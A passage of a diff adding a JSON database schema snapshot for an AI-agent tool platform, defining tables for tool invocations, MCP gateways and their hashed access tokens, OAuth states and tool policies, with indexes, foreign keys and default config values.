+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_invocations_company_created_idx": {
+          "name": "tool_invocations_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_run_idx": {
+          "name": "tool_invocations_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_issue_idx": {
+          "name": "tool_invocations_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_gateway_idx": {
+          "name": "tool_invocations_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_invocations_company_idempotency_uq": {
+          "name": "tool_invocations_company_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_invocations_company_id_companies_id_fk": {
+          "name": "tool_invocations_company_id_companies_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_agent_id_agents_id_fk": {
+          "name": "tool_invocations_agent_id_agents_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_issue_id_issues_id_fk": {
+          "name": "tool_invocations_issue_id_issues_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_invocations_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_invocations_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_invocations_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_application_id_tool_applications_id_fk": {
+          "name": "tool_invocations_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_connection_id_tool_connections_id_fk": {
+          "name": "tool_invocations_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_invocations_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_invocations",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateway_tokens": {
+      "name": "tool_mcp_gateway_tokens",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_hash": {
+          "name": "token_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token_prefix": {
+          "name": "token_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "subject_type": {
+          "name": "subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_client'"
+        },
+        "subject_id": {
+          "name": "subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_label": {
+          "name": "client_label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "owner_note": {
+          "name": "owner_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "allowed_actions": {
+          "name": "allowed_actions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[\"tools/list\",\"tools/call\"]'::jsonb"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_reason": {
+          "name": "expiry_override_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_user_id": {
+          "name": "expiry_override_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_by_agent_id": {
+          "name": "expiry_override_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expiry_override_at": {
+          "name": "expiry_override_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateway_tokens_token_hash_uq": {
+          "name": "tool_mcp_gateway_tokens_token_hash_uq",
+          "columns": [
+            {
+              "expression": "token_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_gateway_idx": {
+          "name": "tool_mcp_gateway_tokens_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_subject_idx": {
+          "name": "tool_mcp_gateway_tokens_subject_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "subject_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateway_tokens_company_expires_idx": {
+          "name": "tool_mcp_gateway_tokens_company_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateway_tokens_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateway_tokens_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_mcp_gateway_tokens_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_expiry_override_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "expiry_override_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateway_tokens_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateway_tokens",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_mcp_gateways": {
+      "name": "tool_mcp_gateways",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gw_' || replace(gen_random_uuid()::text, '-', '')"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_slug": {
+          "name": "display_slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "default_profile_mode": {
+          "name": "default_profile_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'gateway_only'"
+        },
+        "context_scope_type": {
+          "name": "context_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "context_scope_id": {
+          "name": "context_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approval_issue_id": {
+          "name": "approval_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "auth_config": {
+          "name": "auth_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"bearer\":{\"enabled\":true,\"tokenPrefix\":\"pcgw\",\"defaultTtlSeconds\":7776000,\"requireFiniteExpiry\":true,\"longLivedTokenRequiresOverride\":true},\"oauth\":{\"enabled\":false,\"reservedFor\":\"v1_5\",\"dynamicClientRegistration\":false,\"authorizationCodePkce\":false}}'::jsonb"
+        },
+        "header_policy": {
+          "name": "header_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"callerPassthrough\":{\"enabled\":false,\"allowedHeaders\":[]},\"staticHeaders\":[],\"generatedMetadata\":{\"enabled\":false,\"allowedHeaders\":[]},\"responseHeaders\":{\"forwardMcpRequiredHeaders\":true,\"forwardSafeCacheHeaders\":true}}'::jsonb"
+        },
+        "metadata_policy": {
+          "name": "metadata_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"version\":1,\"forwardCompanyId\":false,\"forwardGatewayId\":false,\"forwardProjectId\":false,\"forwardIssueId\":false,\"forwardAgentId\":false,\"forwardRunId\":false,\"forwardCorrelationId\":true}'::jsonb"
+        },
+        "on_demand_tools_config": {
+          "name": "on_demand_tools_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{\"enabled\":false,\"searchToolName\":\"search_tools\",\"runToolName\":\"run_tool\"}'::jsonb"
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_mcp_gateways_company_idx": {
+          "name": "tool_mcp_gateways_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_status_idx": {
+          "name": "tool_mcp_gateways_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_profile_idx": {
+          "name": "tool_mcp_gateways_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_public_id_uq": {
+          "name": "tool_mcp_gateways_public_id_uq",
+          "columns": [
+            {
+              "expression": "gateway_public_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_slug_uq": {
+          "name": "tool_mcp_gateways_company_slug_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slug",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_mcp_gateways_company_name_uq": {
+          "name": "tool_mcp_gateways_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_mcp_gateways_company_id_companies_id_fk": {
+          "name": "tool_mcp_gateways_company_id_companies_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_profile_id_tool_profiles_id_fk": {
+          "name": "tool_mcp_gateways_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_project_id_projects_id_fk": {
+          "name": "tool_mcp_gateways_project_id_projects_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_approval_issue_id_issues_id_fk": {
+          "name": "tool_mcp_gateways_approval_issue_id_issues_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "approval_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_mcp_gateways_created_by_agent_id_agents_id_fk": {
+          "name": "tool_mcp_gateways_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_mcp_gateways",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_oauth_states": {
+      "name": "tool_oauth_states",
+      "schema": "",
+      "columns": {
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "code_verifier": {
+          "name": "code_verifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_id": {
+          "name": "created_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_session_id": {
+          "name": "created_by_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "subject_user_id": {
+          "name": "subject_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_scopes": {
+          "name": "requested_scopes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "return_to": {
+          "name": "return_to",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "interaction_id": {
+          "name": "interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_oauth_states_company_idx": {
+          "name": "tool_oauth_states_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_connection_idx": {
+          "name": "tool_oauth_states_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_actor_idx": {
+          "name": "tool_oauth_states_actor_idx",
+          "columns": [
+            {
+              "expression": "created_by_actor_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_by_actor_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_oauth_states_expires_at_idx": {
+          "name": "tool_oauth_states_expires_at_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_oauth_states_company_id_companies_id_fk": {
+          "name": "tool_oauth_states_company_id_companies_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_oauth_states_connection_id_tool_connections_id_fk": {
+          "name": "tool_oauth_states_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_oauth_states",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_policies": {
+      "name": "tool_policies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_type": {
+          "name": "policy_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "selectors": {
+          "name": "selectors",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_policies_company_enabled_idx": {
+          "name": "tool_policies_company_enabled_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "enabled",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_type_idx": {
+          "name": "tool_policies_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_policies_company_name_uq": {
+          "name": "tool_policies_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_policies_company_id_companies_id_fk": {
+          "name": "tool_policies_company_id_companies_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_policies_created_by_agent_id_agents_id_fk": {
+          "name": "tool_policies_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_bindings": {
+      "name": "tool_profile_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
